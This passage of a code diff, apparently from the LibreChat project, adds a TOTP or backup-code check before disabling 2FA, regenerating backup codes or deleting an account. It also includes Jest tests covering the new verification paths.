const userId = req.user.id;
|
||||||
const { token, backupCode } = req.body;
|
const { token, backupCode } = req.body;
|
||||||
const user = await getUserById(userId, '_id totpSecret backupCodes');
|
const user = await getUserById(userId, '+totpSecret +backupCodes _id twoFactorEnabled');
|
||||||
|
|
||||||
if (!user || !user.totpSecret) {
|
if (!user || !user.totpSecret) {
|
||||||
return res.status(400).json({ message: '2FA is not setup for this user' });
|
return res.status(400).json({ message: '2FA is not setup for this user' });
|
||||||
}
|
}
|
||||||
|
|
||||||
if (user.twoFactorEnabled) {
|
if (user.twoFactorEnabled) {
|
||||||
const secret = await getTOTPSecret(user.totpSecret);
|
const result = await verifyOTPOrBackupCode({ user, token, backupCode });
|
||||||
let isVerified = false;
|
|
||||||
|
|
||||||
if (token) {
|
if (!result.verified) {
|
||||||
isVerified = await verifyTOTP(secret, token);
|
const msg = result.message ?? 'Either token or backup code is required to disable 2FA';
|
||||||
} else if (backupCode) {
|
return res.status(result.status ?? 400).json({ message: msg });
|
||||||
isVerified = await verifyBackupCode({ user, backupCode });
|
|
||||||
} else {
|
|
||||||
return res
|
|
||||||
.status(400)
|
|
||||||
.json({ message: 'Either token or backup code is required to disable 2FA' });
|
|
||||||
}
|
|
||||||
|
|
||||||
if (!isVerified) {
|
|
||||||
return res.status(401).json({ message: 'Invalid token or backup code' });
|
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
await updateUser(userId, { totpSecret: null, backupCodes: [], twoFactorEnabled: false });
|
await updateUser(userId, {
|
||||||
|
totpSecret: null,
|
||||||
|
backupCodes: [],
|
||||||
|
twoFactorEnabled: false,
|
||||||
|
pendingTotpSecret: null,
|
||||||
|
pendingBackupCodes: [],
|
||||||
|
});
|
||||||
return res.status(200).json();
|
return res.status(200).json();
|
||||||
} catch (err) {
|
} catch (err) {
|
||||||
logger.error('[disable2FA]', err);
|
logger.error('[disable2FA]', err);
|
||||||
|
|
@ -138,10 +167,28 @@ const disable2FA = async (req, res) => {
|
||||||
|
|
||||||
/**
|
/**
|
||||||
* Regenerate backup codes for the user.
|
* Regenerate backup codes for the user.
|
||||||
|
* Requires OTP or backup code verification if 2FA is already enabled.
|
||||||
*/
|
*/
|
||||||
const regenerateBackupCodes = async (req, res) => {
|
const regenerateBackupCodes = async (req, res) => {
|
||||||
try {
|
try {
|
||||||
const userId = req.user.id;
|
const userId = req.user.id;
|
||||||
|
const user = await getUserById(userId, '+totpSecret +backupCodes _id twoFactorEnabled');
|
||||||
|
|
||||||
|
if (!user) {
|
||||||
|
return res.status(404).json({ message: 'User not found' });
|
||||||
|
}
|
||||||
|
|
||||||
|
if (user.twoFactorEnabled) {
|
||||||
|
const { token, backupCode } = req.body;
|
||||||
|
const result = await verifyOTPOrBackupCode({ user, token, backupCode });
|
||||||
|
|
||||||
|
if (!result.verified) {
|
||||||
|
const msg =
|
||||||
|
result.message ?? 'TOTP token or backup code is required to regenerate backup codes';
|
||||||
|
return res.status(result.status ?? 400).json({ message: msg });
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
const { plainCodes, codeObjects } = await generateBackupCodes();
|
const { plainCodes, codeObjects } = await generateBackupCodes();
|
||||||
await updateUser(userId, { backupCodes: codeObjects });
|
await updateUser(userId, { backupCodes: codeObjects });
|
||||||
return res.status(200).json({
|
return res.status(200).json({
|
||||||
|
|
|
||||||
|
|
@ -14,6 +14,7 @@ const {
|
||||||
deleteMessages,
|
deleteMessages,
|
||||||
deletePresets,
|
deletePresets,
|
||||||
deleteUserKey,
|
deleteUserKey,
|
||||||
|
getUserById,
|
||||||
deleteConvos,
|
deleteConvos,
|
||||||
deleteFiles,
|
deleteFiles,
|
||||||
updateUser,
|
updateUser,
|
||||||
|
|
@ -34,6 +35,7 @@ const {
|
||||||
User,
|
User,
|
||||||
} = require('~/db/models');
|
} = require('~/db/models');
|
||||||
const { updateUserPluginAuth, deleteUserPluginAuth } = require('~/server/services/PluginService');
|
const { updateUserPluginAuth, deleteUserPluginAuth } = require('~/server/services/PluginService');
|
||||||
|
const { verifyOTPOrBackupCode } = require('~/server/services/twoFactorService');
|
||||||
const { verifyEmail, resendVerificationEmail } = require('~/server/services/AuthService');
|
const { verifyEmail, resendVerificationEmail } = require('~/server/services/AuthService');
|
||||||
const { getMCPManager, getFlowStateManager, getMCPServersRegistry } = require('~/config');
|
const { getMCPManager, getFlowStateManager, getMCPServersRegistry } = require('~/config');
|
||||||
const { invalidateCachedTools } = require('~/server/services/Config/getCachedTools');
|
const { invalidateCachedTools } = require('~/server/services/Config/getCachedTools');
|
||||||
|
|
@ -241,6 +243,22 @@ const deleteUserController = async (req, res) => {
|
||||||
const { user } = req;
|
const { user } = req;
|
||||||
|
|
||||||
try {
|
try {
|
||||||
|
const existingUser = await getUserById(
|
||||||
|
user.id,
|
||||||
|
'+totpSecret +backupCodes _id twoFactorEnabled',
|
||||||
|
);
|
||||||
|
if (existingUser && existingUser.twoFactorEnabled) {
|
||||||
|
const { token, backupCode } = req.body;
|
||||||
|
const result = await verifyOTPOrBackupCode({ user: existingUser, token, backupCode });
|
||||||
|
|
||||||
|
if (!result.verified) {
|
||||||
|
const msg =
|
||||||
|
result.message ??
|
||||||
|
'TOTP token or backup code is required to delete account with 2FA enabled';
|
||||||
|
return res.status(result.status ?? 400).json({ message: msg });
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
await deleteMessages({ user: user.id }); // delete user messages
|
await deleteMessages({ user: user.id }); // delete user messages
|
||||||
await deleteAllUserSessions({ userId: user.id }); // delete user sessions
|
await deleteAllUserSessions({ userId: user.id }); // delete user sessions
|
||||||
await Transaction.deleteMany({ user: user.id }); // delete user transactions
|
await Transaction.deleteMany({ user: user.id }); // delete user transactions
|
||||||
|
|
|
||||||
264
api/server/controllers/__tests__/TwoFactorController.spec.js
Normal file
264
api/server/controllers/__tests__/TwoFactorController.spec.js
Normal file
|
|
@ -0,0 +1,264 @@
|
||||||
|
const mockGetUserById = jest.fn();
|
||||||
|
const mockUpdateUser = jest.fn();
|
||||||
|
const mockVerifyOTPOrBackupCode = jest.fn();
|
||||||
|
const mockGenerateTOTPSecret = jest.fn();
|
||||||
|
const mockGenerateBackupCodes = jest.fn();
|
||||||
|
const mockEncryptV3 = jest.fn();
|
||||||
|
|
||||||
|
jest.mock('@librechat/data-schemas', () => ({
|
||||||
|
encryptV3: (...args) => mockEncryptV3(...args),
|
||||||
|
logger: { error: jest.fn() },
|
||||||
|
}));
|
||||||
|
|
||||||
|
jest.mock('~/server/services/twoFactorService', () => ({
|
||||||
|
verifyOTPOrBackupCode: (...args) => mockVerifyOTPOrBackupCode(...args),
|
||||||
|
generateBackupCodes: (...args) => mockGenerateBackupCodes(...args),
|
||||||
|
generateTOTPSecret: (...args) => mockGenerateTOTPSecret(...args),
|
||||||
|
verifyBackupCode: jest.fn(),
|
||||||
|
getTOTPSecret: jest.fn(),
|
||||||
|
verifyTOTP: jest.fn(),
|
||||||
|
}));
|
||||||
|
|
||||||
|
jest.mock('~/models', () => ({
|
||||||
|
getUserById: (...args) => mockGetUserById(...args),
|
||||||
|
updateUser: (...args) => mockUpdateUser(...args),
|
||||||
|
}));
|
||||||
|
|
||||||
|
const { enable2FA, regenerateBackupCodes } = require('~/server/controllers/TwoFactorController');
|
||||||
|
|
||||||
|
function createRes() {
|
||||||
|
const res = {};
|
||||||
|
res.status = jest.fn().mockReturnValue(res);
|
||||||
|
res.json = jest.fn().mockReturnValue(res);
|
||||||
|
return res;
|
||||||
|
}
|
||||||
|
|
||||||
|
const PLAIN_CODES = ['code1', 'code2', 'code3'];
|
||||||
|
const CODE_OBJECTS = [
|
||||||
|
{ codeHash: 'h1', used: false, usedAt: null },
|
||||||
|
{ codeHash: 'h2', used: false, usedAt: null },
|
||||||
|
{ codeHash: 'h3', used: false, usedAt: null },
|
||||||
|
];
|
||||||
|
|
||||||
|
beforeEach(() => {
|
||||||
|
jest.clearAllMocks();
|
||||||
|
mockGenerateTOTPSecret.mockReturnValue('NEWSECRET');
|
||||||
|
mockGenerateBackupCodes.mockResolvedValue({ plainCodes: PLAIN_CODES, codeObjects: CODE_OBJECTS });
|
||||||
|
mockEncryptV3.mockReturnValue('encrypted-secret');
|
||||||
|
});
|
||||||
|
|
||||||
|
describe('enable2FA', () => {
|
||||||
|
it('allows first-time setup without token — writes to pending fields', async () => {
|
||||||
|
const req = { user: { id: 'user1' }, body: {} };
|
||||||
|
const res = createRes();
|
||||||
|
mockGetUserById.mockResolvedValue({ _id: 'user1', twoFactorEnabled: false, email: 'a@b.com' });
|
||||||
|
mockUpdateUser.mockResolvedValue({ email: 'a@b.com' });
|
||||||
|
|
||||||
|
await enable2FA(req, res);
|
||||||
|
|
||||||
|
expect(res.status).toHaveBeenCalledWith(200);
|
||||||
|
expect(res.json).toHaveBeenCalledWith(
|
||||||
|
expect.objectContaining({ otpauthUrl: expect.any(String), backupCodes: PLAIN_CODES }),
|
||||||
|
);
|
||||||
|
expect(mockVerifyOTPOrBackupCode).not.toHaveBeenCalled();
|
||||||
|
const updateCall = mockUpdateUser.mock.calls[0][1];
|
||||||
|
expect(updateCall).toHaveProperty('pendingTotpSecret', 'encrypted-secret');
|
||||||
|
expect(updateCall).toHaveProperty('pendingBackupCodes', CODE_OBJECTS);
|
||||||
|
expect(updateCall).not.toHaveProperty('twoFactorEnabled');
|
||||||
|
expect(updateCall).not.toHaveProperty('totpSecret');
|
||||||
|
expect(updateCall).not.toHaveProperty('backupCodes');
|
||||||
|
});
|
||||||
|
|
||||||
|
it('re-enrollment writes to pending fields, leaving live 2FA intact', async () => {
|
||||||
|
const req = { user: { id: 'user1' }, body: { token: '123456' } };
|
||||||
|
const res = createRes();
|
||||||
|
const existingUser = {
|
||||||
|
_id: 'user1',
|
||||||
|
twoFactorEnabled: true,
|
||||||
|
totpSecret: 'enc-secret',
|
||||||
|
email: 'a@b.com',
|
||||||
|
};
|
||||||
|
mockGetUserById.mockResolvedValue(existingUser);
|
||||||
|
mockVerifyOTPOrBackupCode.mockResolvedValue({ verified: true });
|
||||||
|
mockUpdateUser.mockResolvedValue({ email: 'a@b.com' });
|
||||||
|
|
||||||
|
await enable2FA(req, res);
|
||||||
|
|
||||||
|
expect(mockVerifyOTPOrBackupCode).toHaveBeenCalledWith({
|
||||||
|
user: existingUser,
|
||||||
|
token: '123456',
|
||||||
|
backupCode: undefined,
|
||||||
|
persistBackupUse: false,
|
||||||
|
});
|
||||||
|
expect(res.status).toHaveBeenCalledWith(200);
|
||||||
|
const updateCall = mockUpdateUser.mock.calls[0][1];
|
||||||
|
expect(updateCall).toHaveProperty('pendingTotpSecret', 'encrypted-secret');
|
||||||
|
expect(updateCall).toHaveProperty('pendingBackupCodes', CODE_OBJECTS);
|
||||||
|
expect(updateCall).not.toHaveProperty('twoFactorEnabled');
|
||||||
|
expect(updateCall).not.toHaveProperty('totpSecret');
|
||||||
|
});
|
||||||
|
|
||||||
|
it('allows re-enrollment with valid backup code (persistBackupUse: false)', async () => {
|
||||||
|
const req = { user: { id: 'user1' }, body: { backupCode: 'backup123' } };
|
||||||
|
const res = createRes();
|
||||||
|
const existingUser = {
|
||||||
|
_id: 'user1',
|
||||||
|
twoFactorEnabled: true,
|
||||||
|
totpSecret: 'enc-secret',
|
||||||
|
email: 'a@b.com',
|
||||||
|
};
|
||||||
|
mockGetUserById.mockResolvedValue(existingUser);
|
||||||
|
mockVerifyOTPOrBackupCode.mockResolvedValue({ verified: true });
|
||||||
|
mockUpdateUser.mockResolvedValue({ email: 'a@b.com' });
|
||||||
|
|
||||||
|
await enable2FA(req, res);
|
||||||
|
|
||||||
|
expect(mockVerifyOTPOrBackupCode).toHaveBeenCalledWith(
|
||||||
|
expect.objectContaining({ persistBackupUse: false }),
|
||||||
|
);
|
||||||
|
expect(res.status).toHaveBeenCalledWith(200);
|
||||||
|
});
|
||||||
|
|
||||||
|
it('returns error when no token provided and 2FA is enabled', async () => {
|
||||||
|
const req = { user: { id: 'user1' }, body: {} };
|
||||||
|
const res = createRes();
|
||||||
|
mockGetUserById.mockResolvedValue({
|
||||||
|
_id: 'user1',
|
||||||
|
twoFactorEnabled: true,
|
||||||
|
totpSecret: 'enc-secret',
|
||||||
|
});
|
||||||
|
mockVerifyOTPOrBackupCode.mockResolvedValue({ verified: false, status: 400 });
|
||||||
|
|
||||||
|
await enable2FA(req, res);
|
||||||
|
|
||||||
|
expect(res.status).toHaveBeenCalledWith(400);
|
||||||
|
expect(mockUpdateUser).not.toHaveBeenCalled();
|
||||||
|
});
|
||||||
|
|
||||||
|
it('returns 401 when invalid token provided and 2FA is enabled', async () => {
|
||||||
|
const req = { user: { id: 'user1' }, body: { token: 'wrong' } };
|
||||||
|
const res = createRes();
|
||||||
|
mockGetUserById.mockResolvedValue({
|
||||||
|
_id: 'user1',
|
||||||
|
twoFactorEnabled: true,
|
||||||
|
totpSecret: 'enc-secret',
|
||||||
|
});
|
||||||
|
mockVerifyOTPOrBackupCode.mockResolvedValue({
|
||||||
|
verified: false,
|
||||||
|
status: 401,
|
||||||
|
message: 'Invalid token or backup code',
|
||||||
|
});
|
||||||
|
|
||||||
|
await enable2FA(req, res);
|
||||||
|
|
||||||
|
expect(res.status).toHaveBeenCalledWith(401);
|
||||||
|
expect(res.json).toHaveBeenCalledWith({ message: 'Invalid token or backup code' });
|
||||||
|
expect(mockUpdateUser).not.toHaveBeenCalled();
|
||||||
|
});
|
||||||
|
});
|
||||||
|
|
||||||
|
describe('regenerateBackupCodes', () => {
|
||||||
|
it('returns 404 when user not found', async () => {
|
||||||
|
const req = { user: { id: 'user1' }, body: {} };
|
||||||
|
const res = createRes();
|
||||||
|
mockGetUserById.mockResolvedValue(null);
|
||||||
|
|
||||||
|
await regenerateBackupCodes(req, res);
|
||||||
|
|
||||||
|
expect(res.status).toHaveBeenCalledWith(404);
|
||||||
|
expect(res.json).toHaveBeenCalledWith({ message: 'User not found' });
|
||||||
|
});
|
||||||
|
|
||||||
|
it('requires OTP when 2FA is enabled', async () => {
|
||||||
|
const req = { user: { id: 'user1' }, body: { token: '123456' } };
|
||||||
|
const res = createRes();
|
||||||
|
mockGetUserById.mockResolvedValue({
|
||||||
|
_id: 'user1',
|
||||||
|
twoFactorEnabled: true,
|
||||||
|
totpSecret: 'enc-secret',
|
||||||
|
});
|
||||||
|
mockVerifyOTPOrBackupCode.mockResolvedValue({ verified: true });
|
||||||
|
mockUpdateUser.mockResolvedValue({});
|
||||||
|
|
||||||
|
await regenerateBackupCodes(req, res);
|
||||||
|
|
||||||
|
expect(mockVerifyOTPOrBackupCode).toHaveBeenCalled();
|
||||||
|
expect(res.status).toHaveBeenCalledWith(200);
|
||||||
|
expect(res.json).toHaveBeenCalledWith({
|
||||||
|
backupCodes: PLAIN_CODES,
|
||||||
|
backupCodesHash: CODE_OBJECTS,
|
||||||
|
});
|
||||||
|
});
|
||||||
|
|
||||||
|
it('returns error when no token provided and 2FA is enabled', async () => {
|
||||||
|
const req = { user: { id: 'user1' }, body: {} };
|
||||||
|
const res = createRes();
|
||||||
|
mockGetUserById.mockResolvedValue({
|
||||||
|
_id: 'user1',
|
||||||
|
twoFactorEnabled: true,
|
||||||
|
totpSecret: 'enc-secret',
|
||||||
|
});
|
||||||
|
mockVerifyOTPOrBackupCode.mockResolvedValue({ verified: false, status: 400 });
|
||||||
|
|
||||||
|
await regenerateBackupCodes(req, res);
|
||||||
|
|
||||||
|
expect(res.status).toHaveBeenCalledWith(400);
|
||||||
|
});
|
||||||
|
|
||||||
|
it('returns 401 when invalid token provided and 2FA is enabled', async () => {
|
||||||
|
const req = { user: { id: 'user1' }, body: { token: 'wrong' } };
|
||||||
|
const res = createRes();
|
||||||
|
mockGetUserById.mockResolvedValue({
|
||||||
|
_id: 'user1',
|
||||||
|
twoFactorEnabled: true,
|
||||||
|
totpSecret: 'enc-secret',
|
||||||
|
});
|
||||||
|
mockVerifyOTPOrBackupCode.mockResolvedValue({
|
||||||
|
verified: false,
|
||||||
|
status: 401,
|
||||||
|
message: 'Invalid token or backup code',
|
||||||
|
});
|
||||||
|
|
||||||
|
await regenerateBackupCodes(req, res);
|
||||||
|
|
||||||
|
expect(res.status).toHaveBeenCalledWith(401);
|
||||||
|
expect(res.json).toHaveBeenCalledWith({ message: 'Invalid token or backup code' });
|
||||||
|
});
|
||||||
|
|
||||||
|
it('includes backupCodesHash in response', async () => {
|
||||||
|
const req = { user: { id: 'user1' }, body: { token: '123456' } };
|
||||||
|
const res = createRes();
|
||||||
|
mockGetUserById.mockResolvedValue({
|
||||||
|
_id: 'user1',
|
||||||
|
twoFactorEnabled: true,
|
||||||
|
totpSecret: 'enc-secret',
|
||||||
|
});
|
||||||
|
mockVerifyOTPOrBackupCode.mockResolvedValue({ verified: true });
|
||||||
|
mockUpdateUser.mockResolvedValue({});
|
||||||
|
|
||||||
|
await regenerateBackupCodes(req, res);
|
||||||
|
|
||||||
|
const responseBody = res.json.mock.calls[0][0];
|
||||||
|
expect(responseBody).toHaveProperty('backupCodesHash', CODE_OBJECTS);
|
||||||
|
expect(responseBody).toHaveProperty('backupCodes', PLAIN_CODES);
|
||||||
|
});
|
||||||
|
|
||||||
|
it('allows regeneration without token when 2FA is not enabled', async () => {
|
||||||
|
const req = { user: { id: 'user1' }, body: {} };
|
||||||
|
const res = createRes();
|
||||||
|
mockGetUserById.mockResolvedValue({
|
||||||
|
_id: 'user1',
|
||||||
|
twoFactorEnabled: false,
|
||||||
|
});
|
||||||
|
mockUpdateUser.mockResolvedValue({});
|
||||||
|
|
||||||
|
await regenerateBackupCodes(req, res);
|
||||||
|
|
||||||
|
expect(mockVerifyOTPOrBackupCode).not.toHaveBeenCalled();
|
||||||
|
expect(res.status).toHaveBeenCalledWith(200);
|
||||||
|
expect(res.json).toHaveBeenCalledWith({
|
||||||
|
backupCodes: PLAIN_CODES,
|
||||||
|
backupCodesHash: CODE_OBJECTS,
|
||||||
|
});
|
||||||
|
});
|
||||||
|
});
|
||||||
302
api/server/controllers/__tests__/deleteUser.spec.js
Normal file
302
api/server/controllers/__tests__/deleteUser.spec.js
Normal file
|
|
@ -0,0 +1,302 @@
|
||||||
|
const mockGetUserById = jest.fn();
|
||||||
|
const mockDeleteMessages = jest.fn();
|
||||||
|
const mockDeleteAllUserSessions = jest.fn();
|
||||||
|
const mockDeleteUserById = jest.fn();
|
||||||
|
const mockDeleteAllSharedLinks = jest.fn();
|
||||||
|
const mockDeletePresets = jest.fn();
|
||||||
|
const mockDeleteUserKey = jest.fn();
|
||||||
|
const mockDeleteConvos = jest.fn();
|
||||||
|
const mockDeleteFiles = jest.fn();
|
||||||
|
const mockGetFiles = jest.fn();
|
||||||
|
const mockUpdateUserPlugins = jest.fn();
|
||||||
|
const mockUpdateUser = jest.fn();
|
||||||
|
const mockFindToken = jest.fn();
|
||||||
|
const mockVerifyOTPOrBackupCode = jest.fn();
|
||||||
|
const mockDeleteUserPluginAuth = jest.fn();
|
||||||
|
const mockProcessDeleteRequest = jest.fn();
|
||||||
|
const mockDeleteToolCalls = jest.fn();
|
||||||
|
const mockDeleteUserAgents = jest.fn();
|
||||||
|
const mockDeleteUserPrompts = jest.fn();
|
||||||
|
|
||||||
|
jest.mock('@librechat/data-schemas', () => ({
|
||||||
|
logger: { error: jest.fn(), info: jest.fn() },
|
||||||
|
webSearchKeys: [],
|
||||||
|
}));
|
||||||
|
|
||||||
|
jest.mock('librechat-data-provider', () => ({
|
||||||
|
Tools: {},
|
||||||
|
CacheKeys: {},
|
||||||
|
Constants: { mcp_delimiter: '::', mcp_prefix: 'mcp_' },
|
||||||
|
FileSources: {},
|
||||||
|
}));
|
||||||
|
|
||||||
|
jest.mock('@librechat/api', () => ({
|
||||||
|
MCPOAuthHandler: {},
|
||||||
|
MCPTokenStorage: {},
|
||||||
|
normalizeHttpError: jest.fn(),
|
||||||
|
extractWebSearchEnvVars: jest.fn(),
|
||||||
|
}));
|
||||||
|
|
||||||
|
jest.mock('~/models', () => ({
|
||||||
|
deleteAllUserSessions: (...args) => mockDeleteAllUserSessions(...args),
|
||||||
|
deleteAllSharedLinks: (...args) => mockDeleteAllSharedLinks(...args),
|
||||||
|
updateUserPlugins: (...args) => mockUpdateUserPlugins(...args),
|
||||||
|
deleteUserById: (...args) => mockDeleteUserById(...args),
|
||||||
|
deleteMessages: (...args) => mockDeleteMessages(...args),
|
||||||
|
deletePresets: (...args) => mockDeletePresets(...args),
|
||||||
|
deleteUserKey: (...args) => mockDeleteUserKey(...args),
|
||||||
|
getUserById: (...args) => mockGetUserById(...args),
|
||||||
|
deleteConvos: (...args) => mockDeleteConvos(...args),
|
||||||
|
deleteFiles: (...args) => mockDeleteFiles(...args),
|
||||||
|
updateUser: (...args) => mockUpdateUser(...args),
|
||||||
|
findToken: (...args) => mockFindToken(...args),
|
||||||
|
getFiles: (...args) => mockGetFiles(...args),
|
||||||
|
}));
|
||||||
|
|
||||||
|
jest.mock('~/db/models', () => ({
|
||||||
|
ConversationTag: { deleteMany: jest.fn() },
|
||||||
|
AgentApiKey: { deleteMany: jest.fn() },
|
||||||
|
Transaction: { deleteMany: jest.fn() },
|
||||||
|
MemoryEntry: { deleteMany: jest.fn() },
|
||||||
|
Assistant: { deleteMany: jest.fn() },
|
||||||
|
AclEntry: { deleteMany: jest.fn() },
|
||||||
|
Balance: { deleteMany: jest.fn() },
|
||||||
|
Action: { deleteMany: jest.fn() },
|
||||||
|
Group: { updateMany: jest.fn() },
|
||||||
|
Token: { deleteMany: jest.fn() },
|
||||||
|
User: {},
|
||||||
|
}));
|
||||||
|
|
||||||
|
jest.mock('~/server/services/PluginService', () => ({
|
||||||
|
updateUserPluginAuth: jest.fn(),
|
||||||
|
deleteUserPluginAuth: (...args) => mockDeleteUserPluginAuth(...args),
|
||||||
|
}));
|
||||||
|
|
||||||
|
jest.mock('~/server/services/twoFactorService', () => ({
|
||||||
|
verifyOTPOrBackupCode: (...args) => mockVerifyOTPOrBackupCode(...args),
|
||||||
|
}));
|
||||||
|
|
||||||
|
jest.mock('~/server/services/AuthService', () => ({
|
||||||
|
verifyEmail: jest.fn(),
|
||||||
|
resendVerificationEmail: jest.fn(),
|
||||||
|
}));
|
||||||
|
|
||||||
|
jest.mock('~/config', () => ({
|
||||||
|
getMCPManager: jest.fn(),
|
||||||
|
getFlowStateManager: jest.fn(),
|
||||||
|
getMCPServersRegistry: jest.fn(),
|
||||||
|
}));
|
||||||
|
|
||||||
|
jest.mock('~/server/services/Config/getCachedTools', () => ({
|
||||||
|
invalidateCachedTools: jest.fn(),
|
||||||
|
}));
|
||||||
|
|
||||||
|
jest.mock('~/server/services/Files/S3/crud', () => ({
|
||||||
|
needsRefresh: jest.fn(),
|
||||||
|
getNewS3URL: jest.fn(),
|
||||||
|
}));
|
||||||
|
|
||||||
|
jest.mock('~/server/services/Files/process', () => ({
|
||||||
|
processDeleteRequest: (...args) => mockProcessDeleteRequest(...args),
|
||||||
|
}));
|
||||||
|
|
||||||
|
jest.mock('~/server/services/Config', () => ({
|
||||||
|
getAppConfig: jest.fn(),
|
||||||
|
}));
|
||||||
|
|
||||||
|
jest.mock('~/models/ToolCall', () => ({
|
||||||
|
deleteToolCalls: (...args) => mockDeleteToolCalls(...args),
|
||||||
|
}));
|
||||||
|
|
||||||
|
jest.mock('~/models/Prompt', () => ({
|
||||||
|
deleteUserPrompts: (...args) => mockDeleteUserPrompts(...args),
|
||||||
|
}));
|
||||||
|
|
||||||
|
jest.mock('~/models/Agent', () => ({
|
||||||
|
deleteUserAgents: (...args) => mockDeleteUserAgents(...args),
|
||||||
|
}));
|
||||||
|
|
||||||
|
jest.mock('~/cache', () => ({
|
||||||
|
getLogStores: jest.fn(),
|
||||||
|
}));
|
||||||
|
|
||||||
|
const { deleteUserController } = require('~/server/controllers/UserController');
|
||||||
|
|
||||||
|
function createRes() {
|
||||||
|
const res = {};
|
||||||
|
res.status = jest.fn().mockReturnValue(res);
|
||||||
|
res.json = jest.fn().mockReturnValue(res);
|
||||||
|
res.send = jest.fn().mockReturnValue(res);
|
||||||
|
return res;
|
||||||
|
}
|
||||||
|
|
||||||
|
function stubDeletionMocks() {
|
||||||
|
mockDeleteMessages.mockResolvedValue();
|
||||||
|
mockDeleteAllUserSessions.mockResolvedValue();
|
||||||
|
mockDeleteUserKey.mockResolvedValue();
|
||||||
|
mockDeletePresets.mockResolvedValue();
|
||||||
|
mockDeleteConvos.mockResolvedValue();
|
||||||
|
mockDeleteUserPluginAuth.mockResolvedValue();
|
||||||
|
mockDeleteUserById.mockResolvedValue();
|
||||||
|
mockDeleteAllSharedLinks.mockResolvedValue();
|
||||||
|
mockGetFiles.mockResolvedValue([]);
|
||||||
|
mockProcessDeleteRequest.mockResolvedValue();
|
||||||
|
mockDeleteFiles.mockResolvedValue();
|
||||||
|
mockDeleteToolCalls.mockResolvedValue();
|
||||||
|
mockDeleteUserAgents.mockResolvedValue();
|
||||||
|
mockDeleteUserPrompts.mockResolvedValue();
|
||||||
|
}
|
||||||
|
|
||||||
|
beforeEach(() => {
|
||||||
|
jest.clearAllMocks();
|
||||||
|
stubDeletionMocks();
|
||||||
|
});
|
||||||
|
|
||||||
|
describe('deleteUserController - 2FA enforcement', () => {
|
||||||
|
it('proceeds with deletion when 2FA is not enabled', async () => {
|
||||||
|
const req = { user: { id: 'user1', _id: 'user1', email: 'a@b.com' }, body: {} };
|
||||||
|
const res = createRes();
|
||||||
|
mockGetUserById.mockResolvedValue({ _id: 'user1', twoFactorEnabled: false });
|
||||||
|
|
||||||
|
await deleteUserController(req, res);
|
||||||
|
|
||||||
|
expect(res.status).toHaveBeenCalledWith(200);
|
||||||
|
expect(res.send).toHaveBeenCalledWith({ message: 'User deleted' });
|
||||||
|
expect(mockDeleteMessages).toHaveBeenCalled();
|
||||||
|
expect(mockVerifyOTPOrBackupCode).not.toHaveBeenCalled();
|
||||||
|
});
|
||||||
|
|
||||||
|
it('proceeds with deletion when user has no 2FA record', async () => {
|
||||||
|
const req = { user: { id: 'user1', _id: 'user1', email: 'a@b.com' }, body: {} };
|
||||||
|
const res = createRes();
|
||||||
|
mockGetUserById.mockResolvedValue(null);
|
||||||
|
|
||||||
|
await deleteUserController(req, res);
|
||||||
|
|
||||||
|
expect(res.status).toHaveBeenCalledWith(200);
|
||||||
|
expect(res.send).toHaveBeenCalledWith({ message: 'User deleted' });
|
||||||
|
});
|
||||||
|
|
||||||
|
it('returns error when 2FA is enabled and verification fails with 400', async () => {
|
||||||
|
const req = { user: { id: 'user1', _id: 'user1' }, body: {} };
|
||||||
|
const res = createRes();
|
||||||
|
mockGetUserById.mockResolvedValue({
|
||||||
|
_id: 'user1',
|
||||||
|
twoFactorEnabled: true,
|
||||||
|
totpSecret: 'enc-secret',
|
||||||
|
});
|
||||||
|
mockVerifyOTPOrBackupCode.mockResolvedValue({ verified: false, status: 400 });
|
||||||
|
|
||||||
|
await deleteUserController(req, res);
|
||||||
|
|
||||||
|
expect(res.status).toHaveBeenCalledWith(400);
|
||||||
|
expect(mockDeleteMessages).not.toHaveBeenCalled();
|
||||||
|
});
|
||||||
|
|
||||||
|
it('returns 401 when 2FA is enabled and invalid TOTP token provided', async () => {
|
||||||
|
const existingUser = {
|
||||||
|
_id: 'user1',
|
||||||
|
twoFactorEnabled: true,
|
||||||
|
totpSecret: 'enc-secret',
|
||||||
|
};
|
||||||
|
const req = { user: { id: 'user1', _id: 'user1' }, body: { token: 'wrong' } };
|
||||||
|
const res = createRes();
|
||||||
|
mockGetUserById.mockResolvedValue(existingUser);
|
||||||
|
mockVerifyOTPOrBackupCode.mockResolvedValue({
|
||||||
|
verified: false,
|
||||||
|
status: 401,
|
||||||
|
message: 'Invalid token or backup code',
|
||||||
|
});
|
||||||
|
|
||||||
|
await deleteUserController(req, res);
|
||||||
|
|
||||||
|
expect(mockVerifyOTPOrBackupCode).toHaveBeenCalledWith({
|
||||||
|
user: existingUser,
|
||||||
|
token: 'wrong',
|
||||||
|
backupCode: undefined,
|
||||||
|
});
|
||||||
|
expect(res.status).toHaveBeenCalledWith(401);
|
||||||
|
expect(res.json).toHaveBeenCalledWith({ message: 'Invalid token or backup code' });
|
||||||
|
expect(mockDeleteMessages).not.toHaveBeenCalled();
|
||||||
|
});
|
||||||
|
|
||||||
|
it('returns 401 when 2FA is enabled and invalid backup code provided', async () => {
|
||||||
|
const existingUser = {
|
||||||
|
_id: 'user1',
|
||||||
|
twoFactorEnabled: true,
|
||||||
|
totpSecret: 'enc-secret',
|
||||||
|
backupCodes: [],
|
||||||
|
};
|
||||||
|
const req = { user: { id: 'user1', _id: 'user1' }, body: { backupCode: 'bad-code' } };
|
||||||
|
const res = createRes();
|
||||||
|
mockGetUserById.mockResolvedValue(existingUser);
|
||||||
|
mockVerifyOTPOrBackupCode.mockResolvedValue({
|
||||||
|
verified: false,
|
||||||
|
status: 401,
|
||||||
|
message: 'Invalid token or backup code',
|
||||||
|
});
|
||||||
|
|
||||||
|
await deleteUserController(req, res);
|
||||||
|
|
||||||
|
expect(mockVerifyOTPOrBackupCode).toHaveBeenCalledWith({
|
||||||
|
user: existingUser,
|
||||||
|
token: undefined,
|
||||||
|
backupCode: 'bad-code',
|
||||||
|
});
|
||||||
|
expect(res.status).toHaveBeenCalledWith(401);
|
||||||
|
expect(mockDeleteMessages).not.toHaveBeenCalled();
|
||||||
|
});
|
||||||
|
|
||||||
|
it('deletes account when valid TOTP token provided with 2FA enabled', async () => {
|
||||||
|
const existingUser = {
|
||||||
|
_id: 'user1',
|
||||||
|
twoFactorEnabled: true,
|
||||||
|
totpSecret: 'enc-secret',
|
||||||
|
};
|
||||||
|
const req = {
|
||||||
|
